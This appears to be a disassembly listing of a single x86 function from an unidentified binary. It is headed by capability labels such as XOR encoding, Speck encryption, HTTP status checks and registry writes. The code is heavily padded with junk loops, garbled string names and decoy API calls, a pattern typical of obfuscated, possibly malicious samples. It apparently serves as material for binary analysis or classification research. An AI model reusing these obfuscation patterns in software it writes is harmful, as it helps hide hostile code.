Function at 0x100219a8
Capabilities:
Check http status code
Encode data using xor
Encrypt data using speck
Set registry value

Disassembly:
mov eax, 0x1005e7dc
call fcn.1005db30
sub esp, 0x58c
push ebx
push esi
push edi
mov dword [ebp - 0x200], edx
mov dword [ebp - 0x168], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x194], ebx
push 1
push 0x7771
push 1
push 0x7a2f
push 0x740e
mov dl, 1
mov byte [ebp - 4], 1
mov ecx, 0x6c7d
call fcn.100457ed
mov dword [ebp - 0x18], 0x47df
add esp, 0x14
cmp dword [ebp - 0x18], 0x4b97
jle 0x10021aa3
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov dword [ebp - 0x10], ebx
mov eax, ebx
mov dword [ebp - 0x24], ebx
lea ecx, [edi + esi]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ecx
mov esi, ebx
mov edi, dword [ebp - 0x1c]
mov ecx, eax
shl edi, cl
mov eax, edi
lea ecx, [ebp - 0x480]
or eax, esi
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021a55
mov eax, dword [eax]
push eax
call fcn.10048abc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x480]
call fcn.1000c80a
inc esi
cmp esi, 0x63ef
jl 0x10021a39
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
inc eax
mov edi, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
cmp eax, 0x1f47
jl 0x10021a27
inc edi
mov dword [ebp - 0x10], edi
cmp edi, 0x5ec9
jl 0x10021a22
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x2d23
jl 0x10021a1d
cmp dword [ebp - 0x18], 0x44af
jge 0x10021ab7
push str.liacrg_uhmhylow_dykpdfx_rqf_snwepmijj_cbddxc
call fcn.10048abc
pop ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x14], 0x7bc99958
mov dword [ebp - 0x20], 0xa00b
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x28], ebx
jmp 0x10021af3
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x35c], 0xb254
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x10021ae2
push 6
pop eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jne 0x10021bcf
mov dword [ebp - 0x28], 0xf1edd1ed
mov dword [ebp - 0x14], ebx
jmp 0x10021b25
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1e4], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10021b14
mov dword [ebp - 0x14], ebx
jmp 0x10021b41
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x234], 0x42573927
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10021b30
cmp dword [ebp - 0x18], ebx
je 0x10021b5b
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1d8]
mov eax, dword [ebp - 0x1d8]
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x14], 0xaa61fc2d
mov esi, dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0x10]
neg esi
mov dword [ebp - 0x230], ecx
mov eax, dword [ebp - 0x1d8]
sbb esi, esi
xor edx, edx
neg esi
cmp ecx, eax
setg dl
cmp edx, dword [ebp - 0x10]
je 0x10021b95
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x28], 0xe467b47e
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x14], 0x981c5860
sbb eax, eax
inc eax
sub esi, eax
sub esi, dword [ebp - 0x18]
neg esi
sbb esi, esi
inc esi
sub esi, dword [ebp - 0x20]
mov dword [ebp - 0x1d8], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 6
je 0x10021b08
cmp dword [ebp - 0x10], ebx
jne 0x10021bf9
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jne 0x10021be8
cmp dword [ebp - 0x14], ebx
jne 0x10021be8
mov eax, ebx
jmp 0x10021beb
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x14]
jg 0x10021bf3
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x354]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x6e4d
cmp dword [ebp - 0x10], 0x71fb
jle 0x10021c9d
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov eax, edi
mov dword [ebp - 0x1c], ebx
mov ecx, esi
mov edi, ebx
shl eax, cl
mov dword [ebp - 0x2c], eax
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x468]
cdq
idiv esi
xor edx, dword [ebp - 0x2c]
mov eax, edx
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021c58
mov eax, dword [eax]
push eax
call fcn.10048abc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x468]
call fcn.1000c80a
inc esi
cmp esi, 0x71c6
jl 0x10021c36
inc edi
cmp edi, 0x7bf5
jl 0x10021c34
mov esi, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x24f9
jl 0x10021c26
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x4c48
jl 0x10021c21
push 3
lea ecx, [ebp - 0x2b8]
call fcn.1000c44b
mov byte [ebp - 4], 2
lea eax, [ebp - 0x54]
mov dword [ebp - 0x34], 0xfffffffd
mov dl, 1
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0x714a
push eax
mov dword [ebp - 0x34], ebx
push ecx
mov dword [ebp - 0x34], 0x7867a7bf
lea ecx, [ebp - 0x2b8]
mov dword [ebp - 0x20], 0xd9e96bb6
call fcn.10021459
pop ecx
pop ecx
mov dword [ebp - 0x54], ebx
jmp 0x10021d0c
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x2f8], 0x67fa5c62
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 1
jl 0x10021cfb
push 0x7102
push ecx
push ecx
mov cl, 1
call fcn.10021496
add esp, 0xc
lea ecx, [ebp - 0x2b8]
inc dword [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.1000c4ce
cmp dword [ebp - 0x10], 0x6ae8
jge 0x10021d49
push str.gghh_iicwpjwn_cctsyu_uthuobgos_jrqmnhqw_pkvhjwwx_olyv_mbnd_qbuvvn_ffiq_dluu_tjxyjqksm_hvki_niokg
call fcn.10048abc
pop ecx
push 0x61
pop eax
push 2
pop esi
mov dword [ebp - 0xa8], 0xe0b2901
mov dword [ebp - 0xa4], 0xc02d501
mov dword [ebp - 0xa0], 0x1e0a0f0c
mov dword [ebp - 0x9c], 0xd031704
mov dword [ebp - 0x98], 0x2d082b06
mov dword [ebp - 0x94], 0x6e004305
mov dword [ebp - 0x90], 0x1b073709
mov word [ebp - 0x33a], ax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x15c], ebx
cmp esi, 4
jne 0x10021db9
mov dword [ebp - 0x15c], 2
jmp 0x10021e84
movzx edx, byte [ebp + esi - 0xa7]
mov eax, esi
sub eax, dword [ebp - 0x15c]
movzx eax, byte [ebp + eax - 0xaa]
movzx ecx, word [ebp + eax*2 - 0x33c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xa8]
add ecx, edx
mov word [ebp + eax*2 - 0x33c], cx
mov dword [ebp - 0x20], 0x1237
cmp dword [ebp - 0x20], 0x156f
jle 0x10021e54
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov esi, ebx
mov ebx, dword [ebp - 0x24]
mov eax, edi
cdq
idiv esi
mov eax, ebx
mov ecx, edx
shl eax, cl
mov ecx, 0x10075b78
cdq
push edx
push eax
call fcn.1000c233
inc esi
cmp esi, 0x794a
jl 0x10021e16
inc edi
push 0
pop ebx
cmp edi, 0x1ddd
jl 0x10021e11
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x1dd9
jl 0x10021e0f
mov esi, dword [ebp - 0x10]
push ebx
push 0x5d8f
push 1
mov dl, 1
lea ecx, [ebp - 0x15c]
call fcn.100450c3
add esp, 0xc
cmp dword [ebp - 0x20], 0xe7a
jge 0x10021e84
mov edx, str.sfb_yvmp_evmutlaww_pyewehxrv_qtftoyk_vcbiqkfud_aeihh_bno_allf_qju_aloyxwyy_xslqpm_yekkppepo
mov ecx, 0x10075b78
call fcn.1000e4aa
add esi, 2
mov dword [ebp - 0x10], esi
cmp esi, 0x1c
jb 0x10021da5
xor eax, eax
lea ecx, [ebp - 0x2e8]
mov word [ebp - 0x322], ax
mov dword [ebp - 0x1d0], 0xfffffff7
push 3
call fcn.1000c44b
push 0x78fe
push 0x43c4
lea eax, [ebp - 0x1cc]
mov byte [ebp - 4], 3
push eax
push 0x745f
push ebx
push 0x41db
push ecx
push 0x5ff
push 0x7423
push ecx
mov dword [ebp - 0x1c4], 0x52487223
lea ecx, [ebp - 0x2e8]
mov edx, 0x54f8
call fcn.100213b6
mov dword [ebp - 0x20], 0x626f
add esp, 0x28
cmp dword [ebp - 0x20], 0x63a3
jle 0x10021f66
mov eax, ebx
mov dword [ebp - 0x10], ebx
mov edi, ebx
mov esi, ebx
add eax, edi
lea ecx, [ebp - 0x3f0]
and eax, esi
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021f31
mov eax, dword [eax]
push eax
call fcn.10048abc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3f0]
call fcn.1000c80a
mov eax, dword [ebp - 0x10]
inc esi
cmp esi, 0x5e0b
jl 0x10021f15
inc edi
cmp edi, 0x2975
jl 0x10021f13
inc eax
mov dword [ebp - 0x10], eax
cmp eax, 0x7a03
jl 0x10021f11
cmp dword [ebp - 0x20], 0x611d
jge 0x10021f7a
push str.gpnnvn_ufqss_yjrbq_tau_imal_ulv
call fcn.10048abc
pop ecx
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
je 0x10021f97
push ecx
push 0x37ef
push ebx
mov edx, 0x378e
call fcn.10045e90
add esp, 0xc
push ebx
push ecx
lea eax, [ebp - 0x1c4]
mov cl, 1
push eax
push 0x26ee
lea edx, [ebp - 0x1d0]
call fcn.10045523
add esp, 0x10
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2e8]
call fcn.1000c4ce
push 8
pop esi
mov dword [ebp - 0x1f8], esi
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x1c8], 0x1c2e9378
mov dword [ebp - 0x1fc], ebx
mov dword [ebp - 0x1d4], ebx
push 3
call fcn.1000c44b
mov byte [ebp - 4], 4
mov dword [ebp - 0x204], 0xd933
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x10], ebx
jmp 0x10022019
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x240]
mov dword [eax + ecx*4], 0x71362395
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10022006
push 1
push 0x3e68
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x1c8]
push eax
push ebx
push ebx
push 0x1415
lea eax, [ebp - 0x1d4]
push eax
lea eax, [ebp - 0x1f8]
push eax
lea edx, [ebp - 0x1fc]
lea ecx, [ebp - 0x204]
call fcn.100451c3
add esp, 0x24
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x240]
call fcn.1000c4ce
push 0x63
pop eax
mov dword [ebp - 0x8c], 0xb06b505
mov byte [ebp - 0x88], bl
mov dword [ebp - 0x87], 0x4010106
mov dword [ebp - 0x83], 0x304070e
mov dword [ebp - 0x7f], 0x29b243a
mov word [ebp - 0x7b], 0x348
mov byte [ebp - 0x79], 0x4e
mov word [ebp - 0x292], ax
mov dword [ebp - 0x28], 0x3c08
cmp dword [ebp - 0x28], 0x3d61
jle 0x1002214c
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x10], ebx
cdq
idiv edi
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov ecx, edx
mov dword [ebp - 0x20], ecx
mov esi, ebx
mov eax, edi
cdq
idiv esi
mov eax, ecx
mov ecx, edx
shl eax, cl
lea ecx, [ebp - 0x408]
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100220fb
mov eax, dword [eax]
push eax
call fcn.10048abc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x408]
call fcn.1000c80a
mov ecx, dword [ebp - 0x20]
inc esi
cmp esi, 0x60f0
jl 0x100220d8
inc edi
cmp edi, 0x59e3
jl 0x100220d6
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
inc edi
mov dword [ebp - 0x10], edi
cmp edi, 0x3704
jl 0x100220c9
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0xd55
jl 0x100220c4
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
push 2
pop esi
mov edi, ebx
cmp esi, 0xc
jne 0x100221b0
mov dword [ebp - 0x20], 0xb81
cmp dword [ebp - 0x20], 0xef6
jle 0x10022190
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x10075b78
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.1000c233
inc edi
cmp edi, 0x4aa2
jl 0x1002216a
inc esi
cmp esi, 0x6ca4
jl 0x10022168
cmp dword [ebp - 0x20], 0x7ff
push 4
pop edi
jge 0x100221ab
mov edx, str.uktmyw_gvv_lcwndmrtp_nitqgswva_npiseyiti_pjol_rjyrsvwi_qieuape_agnfga_fgy_mvu_crxjld
mov ecx, 0x10075b78
call fcn.1000e4aa
push 0xe
pop esi
jmp 0x100221e6
movzx edx, byte [ebp + esi - 0x8b]
mov eax, esi
sub eax, edi
mov edi, ebx
movzx eax, byte [ebp + eax - 0x8e]
movzx eax, word [ebp + eax*2 - 0x29c]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x8c]
mov word [ebp + eax*2 - 0x29c], cx
add esi, 2
cmp esi, 0x14
jb 0x10022151
cmp dword [ebp - 0x28], 0x390a
jge 0x10022206
push str.yuydsvc_qql_sfceujt
call fcn.10048abc
pop ecx
push 0x7c2d
push ecx
xor eax, eax
push ecx
mov word [ebp - 0x28c], ax
xor cl, cl
mov dword [ebp - 0x34], ebx
call fcn.100217dc
add esp, 0xc
mov byte [ebp - 0x43], bl
lea eax, [ebp - 0x43]
xor dl, dl
mov ecx, 0x7649
push 1
push eax
push 1
call fcn.100450c3
xor eax, eax
mov dword [ebp - 0x30c], 7
add esp, 0xc
mov word [ebp - 0x320], ax
lea eax, [ebp - 0x29c]
mov dword [ebp - 0x310], ebx
lea ecx, [ebp - 0x320]
push eax
call fcn.1000c8f6
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2dc]
xor eax, eax
mov dword [ebp - 0x2c8], 7
mov word [ebp - 0x2dc], ax
lea eax, [ebp - 0x33c]
push eax
mov dword [ebp - 0x2cc], ebx
call fcn.1000c8f6
lea eax, [ebp - 0x2dc]
push eax
lea ecx, [ebp - 0x3c0]
call fcn.1000f14b
lea eax, [ebp - 0x320]
push eax
lea ecx, [ebp - 0x3a8]
call fcn.1000f14b
push ebx
push 1
lea ecx, [ebp - 0x2dc]
call fcn.1000ca18
push ebx
push 1
lea ecx, [ebp - 0x320]
call fcn.1000ca18
mov byte [ebp - 4], 6
lea eax, [ebp - 0x390]
push dword [ebp - 0x1cc]
lea ecx, [ebp - 0x17c]
mov dword [ebp - 0x17c], ebx
push eax
lea eax, [ebp - 0x3c0]
mov dword [ebp - 0x178], ebx
push eax
push ebx
mov dword [ebp - 0x174], ebx
call fcn.10024045
push fcn.10023bb5
push 1
push 0x30
lea eax, [ebp - 0x3c0]
mov byte [ebp - 4], 8
push eax
call fcn.1004885b
mov dword [ebp - 0x1c], 0xfffffff9
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], 0x898f01ba
mov dword [ebp - 0x20], 0x6474
cmp dword [ebp - 0x20], 0x683c
jle 0x100223b5
push ebx
call dword [sym.imp.USER32.dll_GetQueueStatus]
mov eax, ebx
mov dword [ebp - 0x10], ebx
mov edi, ebx
mov esi, ebx
lea ecx, [esi + edi]
sar eax, cl
lea ecx, [ebp - 0x3d8]
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002237a
mov eax, dword [eax]
push eax
call fcn.10048abc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3d8]
call fcn.1000c80a
mov eax, dword [ebp - 0x10]
inc esi
cmp esi, 0x7ce0
jl 0x1002235d
inc edi
cmp edi, 0x1660
jl 0x1002235b
inc eax
mov dword [ebp - 0x10], eax
cmp eax, 0x2e32
jl 0x10022359
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
cmp dword [ebp - 0x20], 0x617d
jge 0x100223c9
push str.ckpnoi_unsimd_dxwldrj_qmgmvit_ijxkcoaa_kmcqm_tasvtkslv_vmajgcnq
call fcn.10048abc
pop ecx
mov dword [ebp - 0x20], 0x111d
mov dword [ebp - 0x24], 0xbdebf889
mov dword [ebp - 0x10], ebx
jmp 0x100223ed
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x18c], 0x38884515
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100223dc
push 1
push 0x13d6
push 0x6d52
push 0x4b64
push 1
push 1
push 0x6def
push 0x9a3
push 0x39aa
mov edx, 0x1839
mov ecx, 0x72e8
call fcn.100451c3
mov eax, dword [ebp - 0x24]
add esp, 0x24
inc dword [ebp - 0x24]
cmp dword [ebp - 0x188], ebx
je 0x10022445
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x28]
je 0x10022445
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x28], eax
jle 0x10022466
cmp dword [ebp - 0x188], ebx
je 0x10022466
xor eax, eax
inc eax
jmp 0x10022468
mov eax, ebx
mov dword [ebp - 0x20], eax
lea edi, [ebp - 0x33c]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
xor eax, eax
push 7
pop ecx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x38], 0xc207
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x18], 9
mov dword [ebp - 0x14], 0x9eb818f8
mov dword [ebp - 0x20], 0x2fc53d8b
mov dword [ebp - 0x28], 0x14648a57
mov dword [ebp - 0x2c], 0x7228
mov dword [ebp - 0x1c], 0x446f9416
push 4
call fcn.1000c44b
mov byte [ebp - 4], 9
mov dword [ebp - 0x10], ebx
jmp 0x100224d8
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c4]
mov dword [eax + ecx*4], 0x28e8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100224c5
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
imul ecx, eax
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x38]
cmp ecx, eax
jle 0x100224f6
xor eax, eax
inc eax
jmp 0x100224f8
mov eax, ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
add eax, ecx
cmp eax, dword [ebp - 0x18]
jle 0x1002250e
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
cmp eax, 0x5659
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
cmp eax, 1
setg cl
cmp ecx, dword [ebp - 0x2c]
je 0x1002278d
mov dword [ebp - 0x20], 0x52e
cmp dword [ebp - 0x20], 0x6d3
jle 0x100225a3
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10075b78
or eax, esi
cdq
push edx
push eax
call fcn.1000c233
inc edi
cmp edi, 0x2201
jl 0x10022580
inc esi
cmp esi, 0x234e
jl 0x1002257e
push 2
lea ecx, [ebp - 0x27c]
call fcn.1000c44b
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x20], 0x211
jge 0x100225cc
mov edx, str.frm_wrme_nvoarh_rcg_ipdgy_ubuv_ikkkytma
mov ecx, 0x10075b78
call fcn.1000e4aa
mov dword [ebp - 0x2ac], ebx
mov dword [ebp - 0x2a8], ebx
mov dword [ebp - 0x2a4], ebx
mov dword [ebp - 0x2a0], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0x10075600
mov dword [ebp - 0x28], 0x227a
cmp dword [ebp - 0x28], 0x2559
jle 0x10022699
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov eax, ebx
mov dword [ebp - 0x10], ebx
mov edx, ecx
mov esi, ebx
mov ecx, eax
mov dword [ebp - 0x20], esi
sar edx, cl
mov dword [ebp - 0x34], edx
mov eax, edx
mov edi, ebx
xor eax, esi
mov dword [ebp - 0x14], eax
mov esi, eax
mov eax, esi
lea ecx, [ebp - 0x498]
or eax, edi
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10022641
mov eax, dword [eax]
push eax
call fcn.10048abc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x498]
call fcn.1000c80a
inc edi
cmp edi, 0x655e
jl 0x10022625
mov esi, dword [ebp - 0x20]
mov edx, dword [ebp - 0x34]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x4694
jl 0x1002261a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, 0x4742
jl 0x1002260c
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x622d
jl 0x10022607
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebp - 0x28], 0x2078
jge 0x100226ad
push str.oxhpe_fbrmlnie_kfaljn_ocyrhvr_saasruiva_xmbwrnucy
call fcn.10048abc
pop ecx
mov dword [ebp - 0x14], ebx
jmp 0x100226c0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x40], 2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x100226b2
mov dword [ebp - 0x14], ebx
jmp 0x100226de
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x27c]
mov dword [eax + ecx*4], 0x6ef5427e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100226cb
mov dword [ebp - 0x28], ebx
jmp 0x100226f5
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x40], ebx
jne 0x100226fa
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x100226e9
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, dword [ebp - 0x27c]
setl dl
mov dword [eax + 4], edx
xor eax, eax
cmp edx, 0xd81
sete al
xor edx, edx
cmp eax, 0xfffffffe
mov eax, dword [ebp - 0x40]
setle dl
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x40]
mov dword [ebp - 0x2ac], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sub ecx, 0xdfe9
neg ecx
sbb ecx, ecx
add eax, 0xd2166a3c
inc ecx
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x40]
imul ecx, eax
mov eax, dword [ebp - 0x40]
add ecx, eax
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x40]
sete dl
cmp edx, 1
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x27c]
call fcn.1000c4ce
jmp 0x100227bc
push ecx
push 0x44d5
push 0x354e
push ecx
push 1
lea edx, [ebp - 0x46]
mov byte [ebp - 0x46], bl
mov ecx, 0x162b
call fcn.10045f49
add esp, 0x10
lea eax, [ebp - 0x38]
push eax
push 1
call fcn.10045ac8
add esp, 0xc
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 8
call fcn.1000c4ce
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], 0x888
cmp dword [ebp - 0x1c], 0x8bb
jle 0x1002280a
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10075b78
or eax, esi
cdq
push edx
push eax
call fcn.1000c233
inc edi
cmp edi, 0x3938
jl 0x100227e4
inc esi
cmp esi, 0x246e
jl 0x100227e2
mov esi, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x1c], 0x792
mov word [ebp + esi*2 - 0x29c], ax
jge 0x1002282c
mov edx, str.cxjookevj_ksh_hmey_twh_nhtjjgaej_jmup_dfxqgn_fsps_kgdc_tts
mov ecx, 0x10075b78
call fcn.1000e4aa
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 9
jb 0x100227d0
lea eax, [ebp - 0x17c]
push eax
push ecx
push ecx
push 1
push 0x7904
lea edx, [ebp + 8]
mov ecx, 0x2d0d
call fcn.100214db
mov dword [ebp - 0x4c], 8
add esp, 0x14
mov dword [ebp - 0x158], 2
mov dword [ebp - 0x58], 0x7c04
mov dword [ebp - 0x5c], 0xe28fdeb7
mov dword [ebp - 0x160], 0xcfce2949
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x20], 0x3547
cmp dword [ebp - 0x20], 0x37a9
jle 0x100228ec
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, ebx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x2c], 0x13d3
mov edi, ebx
mov ebx, dword [ebp - 0x1c]
mov ecx, edi
mov eax, ebx
shl eax, cl
mov ecx, 0x10075b78
cdq
push edx
push eax
call fcn.1000c233
inc edi
cmp edi, 0x50d2
jl 0x100228b2
dec ebx
dec dword [ebp - 0x2c]
push 0
mov dword [ebp - 0x1c], ebx
pop ebx
jne 0x100228ad
inc esi
cmp esi, 0x3eb9
jl 0x100228a3
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_Polygon]
push 2
lea ecx, [ebp - 0x288]
call fcn.1000c44b
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x20], 0x3248
jge 0x10022915
mov edx, str.wxwxyh_skv_ccinwi_rdcawf_sbhfdwtcc_ghr_vaqmjfa_fokxxbpt_kdxagep_wfh_tmramv_mjyb_porjhwm
mov ecx, 0x10075b78
call fcn.1000e4aa
mov dword [ebp - 0x1f4], 0xef6e88f3
mov dword [ebp - 0x10], ebx
jmp 0x10022933
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x288]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10022924
mov dword [ebp - 0x4c], ebx
jmp 0x10022a19
mov dword [ebp - 0x24], 0xd15d
mov dword [ebp - 0x1c], 0xe8e1b881
mov dword [ebp - 0x28], 0x3f23
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], ebx
jmp 0x10022973
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x22c], 0xd9bacc5d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10022962
mov eax, dword [ebp - 0x34]
xor edx, edx
inc dword [ebp - 0x28]
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x58]
add eax, 0xf4a0
mov esi, dword [ebp - 0x160]
imul ecx, eax
sub esi, ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, esi
setge al
xor edx, edx
mov dword [ebp - 0x228], eax
inc edx
mov dword [ebp - 0x228], 0xc4f3
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x228]
